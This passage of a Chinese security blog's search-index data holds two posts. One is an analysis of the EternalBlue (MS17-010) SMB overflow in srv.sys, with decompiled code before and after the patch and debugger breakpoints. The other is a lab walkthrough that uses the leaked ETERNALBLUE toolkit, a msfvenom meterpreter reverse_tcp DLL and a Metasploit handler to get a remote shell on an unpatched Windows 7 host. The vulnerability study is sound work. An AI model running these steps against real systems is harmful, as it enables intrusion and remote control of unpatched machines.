tcpip!IppDeliverPreValidatedListToProtocol+0x33 (FPO: [Non-Fpo]) 11 83f6c7a0 89698a7b 8665d918 00000000 83f79480 tcpip!IpFlcReceivePreValidatedPackets+0x479 (FPO: [Non-Fpo]) 12 83f6c7c8 83ecbb95 00000000 ee2bb116 865bab48 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xfc (FPO: [Non-Fpo]) 13 83f6c830 89698c0b 8969897f 83f6c858 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132 14 83f6c86c 8951f18d 8665d002 87773900 00000000 tcpip!FlReceiveNetBufferListChain+0x7c (FPO: [Non-Fpo]) 15 83f6c8a4 8950d5be 8665eaa8 87773988 00000000 ndis!ndisMIndicateNetBufferListsToOpen+0x188 (FPO: [Non-Fpo]) 16 83f6c8cc 8950d4b2 00000000 87773988 871650e0 ndis!ndisIndicateSortedNetBufferLists+0x4a (FPO: [Non-Fpo]) 17 83f6ca48 894b8c1d 871650e0 00000000 00000000 ndis!ndisMDispatchReceiveNetBufferLists+0x129 (FPO: [Non-Fpo]) 18 83f6ca64 8950d553 871650e0 87773988 00000000 ndis!ndisMTopReceiveNetBufferLists+0x2d (FPO: [Non-Fpo]) 19 83f6ca8c 894b8c78 871650e0 87773988 00000000 ndis!ndisMIndicateReceiveNetBufferListsInternal+0x62 (FPO: [Non-Fpo]) 1a 83f6cab4 903ab7f4 871650e0 87773988 00000000 ndis!NdisMIndicateReceiveNetBufferLists+0x52 (FPO: [Non-Fpo]) 1b 83f6cafc 903aa77e 00000000 87792660 00000001 E1G60I32!RxProcessReceiveInterrupts+0x108 (FPO: [Non-Fpo]) 1c 83f6cb14 8950d89a 011e9138 00000000 83f6cb40 E1G60I32!E1000HandleInterrupt+0x80 (FPO: [Non-Fpo]) 1d 83f6cb50 894b8a0f 87792674 00792660 00000000 ndis!ndisMiniportDpc+0xe2 (FPO: [Non-Fpo]) 1e 83f6cb78 83eba696 87792674 87792660 00000000 ndis!ndisInterruptDpc+0xaf (FPO: [Non-Fpo]) 1f 83f6cbd4 83eba4f8 83f6fe20 83f79480 00000000 nt!KiExecuteAllDpcs+0xfa 20 83f6cc20 83eba318 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5 21 83f6cc24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38 (FPO: [0,0,0]) 关于补丁 修补前：\nint __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { int v1; // edi@1 int v2; // ebx@1 unsigned int v3; // esi@1 unsigned int v4; // ebx@1 _DWORD *v6; // [sp+Ch] [bp-Ch]@1 int v7; // [sp+10h] [bp-8h]@3 int v8; // [sp+14h] [bp-4h]@1 v1 = 0; v6 = a1; v2 = *a1; v3 = (unsigned int)(a1 + 1); v8 = 0; v4 = (unsigned int)a1 + v2; while ( v3 \u0026lt; v4 ) { if ( v3 + 4 \u0026gt;= v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 \u0026gt; v4) ) { *(WORD*)v6 = v3 - (_DWORD)v6; return v1; } if ( RtlULongAdd(\u0026amp;v8) \u0026lt; 0 ) return 0; v1 = v8; v3 += v7 + 5; } return v1; } int __thiscall ExecuteTransaction(int this) { //略... if ( *(_DWORD *)(v3 + 0x50) \u0026gt;= 1u \u0026amp;\u0026amp; v10 \u0026lt;= 0x11 ) { v2 = SrvTransaction2DispatchTable[v10](this); //这里进入派发函数 if ( BYTE1(WPP_GLOBAL_Control-\u0026gt;Flags) \u0026gt;= 2u \u0026amp;\u0026amp; WPP_GLOBAL_Control-\u0026gt;Characteristics \u0026amp; 1 \u0026amp;\u0026amp; KeGetCurrentIrql() \u0026lt; 2u \u0026amp;\u0026amp; v2 \u0026amp;\u0026amp; (PDEVICE_OBJECT *)WPP_GLOBAL_Control != \u0026amp;WPP_GLOBAL_Control ) { WPP_SF_(WPP_GLOBAL_Control-\u0026gt;AttachedDevice, WPP_GLOBAL_Control-\u0026gt;CurrentIrp); } goto LABEL_104; } //goto error //略... } 修复后：\nint __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { int v1; // edi@1 int v2; // ebx@1 unsigned int v3; // esi@1 unsigned int v4; // ebx@1 _DWORD *v6; // [sp+Ch] [bp-Ch]@1 int v7; // [sp+10h] [bp-8h]@3 int v8; // [sp+14h] [bp-4h]@1 v1 = 0; v6 = a1; v2 = *a1; v3 = (unsigned int)(a1 + 1); v8 = 0; v4 = (unsigned int)a1 + v2; while ( v3 \u0026lt; v4 ) { if ( v3 + 4 \u0026gt;= v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 \u0026gt; v4) ) { *(DWORD*)v6 = v3 - (_DWORD)v6; return v1; } if ( RtlULongAdd(\u0026amp;v8) \u0026lt; 0 ) return 0; v1 = v8; v3 += v7 + 5; } return v1; } int __thiscall ExecuteTransaction(int this) { //略... if ( *(_DWORD *)(v3 + 0x50) \u0026lt; 2u ) { _SrvSetSmbError2(0, 464, \u0026#34;onecore\\\\base\\\\fs\\\\remotefs\\\\smb\\\\srv\\\\srv.downlevel\\\\smbtrans.c\u0026#34;); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } if ( v11 \u0026lt;= 0x11 ) { v2 = SrvTransaction2DispatchTable[v11](v1); if ( BYTE1(WPP_GLOBAL_Control-\u0026gt;Flags) \u0026gt;= 2u \u0026amp;\u0026amp; WPP_GLOBAL_Control-\u0026gt;Characteristics \u0026amp; 1 \u0026amp;\u0026amp; KeGetCurrentIrql() \u0026lt; 2u \u0026amp;\u0026amp; v2 \u0026amp;\u0026amp; (PDEVICE_OBJECT *)WPP_GLOBAL_Control != \u0026amp;WPP_GLOBAL_Control ) { WPP_SF_(WPP_GLOBAL_Control-\u0026gt;AttachedDevice, WPP_GLOBAL_Control-\u0026gt;CurrentIrp); } goto LABEL_108; } //goto error //略... } 修补的方法就是将修补*(WORD*)v6 ==\u0026gt; *(DWORD*)v6; 还有就是*(_DWORD *)(v3 + 0x50) \u0026gt;= 1 变成了 *(_DWORD *)(v3 + 0x50) \u0026gt;= 2u 笔者在调试的时候发现触发漏洞的正好是1。\n由于作者水平有限，有什么错误欢迎大家指出 联系作者： pgboy1988\n附件： dump.bin\n","permalink":"https://www.lucien116.com/archives/314/","summary":"\u003ch2 id=\"环境\"\u003e环境\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eEXPLOIT\u003c/strong\u003e:\nEternalblue-2.2.0.exe\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTARGET\u003c/strong\u003e:\nwin7 sp1 32bits\nsrv.sys 6.1.7601.17514\nsrvnet.sys 6.1.7601.17514\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePATCH\u003c/strong\u003e:\nMS17-010\u003c/p\u003e\n\u003ch2 id=\"漏洞原理\"\u003e漏洞原理\u003c/h2\u003e\n\u003cp\u003esrv.sys在处理 \u003ccode\u003eSrvOs2FeaListSizeToNt\u003c/code\u003e 的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kr\"\u003e__fastcall\u003c/span\u003e \u003cspan class=\"nf\"\u003eSrvOs2FeaToNt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ev4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// edi@1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ev5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// edi@1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// eax@1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003ev4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_WORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_WORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003e_memmove\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003ev5\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ev4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ev5\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003e_memmove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BYTE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_WORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e \u003cspan class=\"c1\"\u003e//这里产生的越界覆盖\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ev5\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_WORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFFFFFC\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_DWORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ea1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e发生越界的地方见上面第二个 \u003ccode\u003ememmove\u003c/code\u003e。调试的时候可以这样下断点：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekd\u0026gt; u srv!SrvOs2FeaToNt+0x4d\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esrv!SrvOs2FeaToNt+0x4d:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b278 ff15e0a07698    call    dword ptr [srv!_imp__memmove (9876a0e0)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b27e 0fb74606        movzx   eax,word ptr [esi+6]\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b282 8d441803        lea     eax,[eax+ebx+3]\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b286 83e0fc          and     eax,0FFFFFFFCh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b289 83c418          add     esp,18h\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b28c 8bc8            mov     ecx,eax\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b28e 2bce            sub     ecx,esi\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9877b290 5f              pop     edi\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//最后一次越界的拷贝的长度是0xa8\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eba e1 srv!SrvOs2FeaToNt+0x4d \u0026#34;.if(poi(esp+8) != a8){gc} .else {}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现：\u003c/p\u003e","title":"NSA Eternalblue SMB 漏洞分析"},{"content":"1.环境简介 攻击机win2003\nip:192.168.1.105\n攻击机kali:\nip:192.168.1.106\n靶机（被攻击机）window7 x64(未装smb漏洞补丁）\nip:192.168.1.100\n2.windows2003攻击机 攻击机win2003安装环境：\npython-2.6.6.msi\nhttps://www.python.org/download/releases/2.6.6/\npywin32-221.win-amd64-py2.6.exe：\nhttps://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/\n方程式ETERNALBLUE 下载地址：\nhttps://codeload.github.com/misterch0c/shadowbroker/zip/master\n安装好python后，需要在win2003设置环境变量：\n将整个ETERNALBLUE 目录下的 windows拷贝到攻击机win2003上\n在windows目录下建立一个文件为：listeningposts\n运行phthon fb.py\n以下在攻击机win2003上执行fb.py的具体命令重要命令如下，其他命令都用回车执行。\n3.攻击机kali上 利用msf生成一个dll劫持文件：\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 ORT=5555 -f dll \u0026gt; /opt/s.dll\n将s.dll文件拷贝到windows2003的C盘目录下：\n在msf下开启msfpaylod监听：\nuse exploit/multi/handler\nset lhost 192.168.1.106\nset lport 5555\nset PAYLOAD windows/x64/meterpreter/reverse_tcp\nexploit\n4.接着在windows2003下执行 最后在 msf 下可以看到成功反弹 shell: ","permalink":"https://www.lucien116.com/archives/295/","summary":"\u003ch3 id=\"1环境简介\"\u003e1.环境简介\u003c/h3\u003e\n\u003cp\u003e攻击机win2003\u003c/p\u003e\n\u003cp\u003eip:192.168.1.105\u003c/p\u003e\n\u003cp\u003e攻击机kali:\u003c/p\u003e\n\u003cp\u003eip:192.168.1.106\u003c/p\u003e\n\u003cp\u003e靶机（被攻击机）window7 x64(未装smb漏洞补丁）\u003c/p\u003e\n\u003cp\u003eip:192.168.1.100\u003c/p\u003e\n\u003ch3 id=\"2windows2003攻击机\"\u003e2.windows2003攻击机\u003c/h3\u003e\n\u003cp\u003e攻击机win2003安装环境：\u003c/p\u003e\n\u003cp\u003epython-2.6.6.msi\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.python.org/download/releases/2.6.6/\"\u003ehttps://www.python.org/download/releases/2.6.6/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003epywin32-221.win-amd64-py2.6.exe：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/\"\u003ehttps://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e方程式ETERNALBLUE 下载地址：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://codeload.github.com/misterch0c/shadowbroker/zip/master\"\u003ehttps://codeload.github.com/misterch0c/shadowbroker/zip/master\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e安装好python后，需要在win2003设置环境变量：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e将整个ETERNALBLUE 目录下的 windows拷贝到攻击机win2003上\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在windows目录下建立一个文件为：listeningposts\u003c/p\u003e\n\u003cp\u003e运行phthon  fb.py\u003c/p\u003e\n\u003cp\u003e以下在攻击机win2003上执行fb.py的具体命令重要命令如下，其他命令都用回车执行。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/3.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/3.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/4.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/4.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/5.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/5.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/6.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/6.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/7.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/7.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/8.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/8.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"3攻击机kali上\"\u003e3.攻击机kali上\u003c/h3\u003e\n\u003cp\u003e利用msf生成一个dll劫持文件：\u003c/p\u003e\n\u003cp\u003emsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 ORT=5555 -f dll \u0026gt; /opt/s.dll\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/9.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/9.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e将s.dll文件拷贝到windows2003的C盘目录下：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/10.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/10.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在msf下开启msfpaylod监听：\u003c/p\u003e\n\u003cp\u003euse 